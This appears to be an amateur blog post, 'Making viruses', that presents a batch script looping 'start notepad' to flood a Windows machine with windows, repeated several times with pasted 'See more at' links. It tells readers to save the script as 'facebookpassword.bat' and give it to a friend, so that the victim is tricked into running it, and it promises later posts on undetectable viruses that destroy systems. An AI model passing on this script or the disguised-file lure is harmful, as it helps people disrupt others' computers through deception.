Making viruses..!!!

Hello everyone...

I wanna thank each one of u who are reading my blogs and giving me views....!!

for the past 3-4 posts we are talking about the SHIT that ANTIVIRUSES create , about crypters and all that stuff .. today i"ll be telling you WHAT a virus is ?? 

how it looks ?? 

how it is made ?? 

how does it executes ?? 

So

is basicaly min(2-3kb)/max(20-30kb) file that that infects your system with the malicious code that is written inside it . It might delete some files from the "windows" folder of your drive , start multiple applications at a particular time which might eat up your whole memory, or it might conatin such code that you need to install your windows again .

Alternatively , a virus is code which can harm your system to a much extent.so the next question arises how it is made ??

"BATCH SCRIPTING " is the language that we use to make "viruses"(most probably)...!!

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf

Have a look -:

 @echo off 

:top 

start notepad

goto top 

this  4 line of commands in Batch Scripiting will boom up the notepad and it will start a million number of times. this is a simple virus..!

now how to execute thses commands..?? 

good question ...ryt !!    

Just copy this code in your notepad and save it as  "facebookpassword.bat" and give it yoyr friend ,,he willl be very happy when he will see this file but this happiness will not last for much time because the time he double clicks it "notepad" will be booming in his system like anyhting..!!

Why to Save the file in ".bat" format ..??

simple question ----> simple answer.

jus because the ".bat " extension files tell the computer to perform  some particular task(task here means the execution of the code that is written inside the file)..!!

so What all we learnt today -

what is a virus ..!!

how to make it ..!!

how does it works..!!

how much harm can it cause ..!!

next time i"talk about some biigger viruses thatb will completely destroy your system ..and your "paid version of antivirus will not be able to detect that(for sure)"..!!

Stay Smart..!! Act Smart ..!!

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
- See more at: http://myhistoryweb.blogspot.com/2009/03/10-virus-notepad-script.html#sthash.enV9QmbJ.dpuf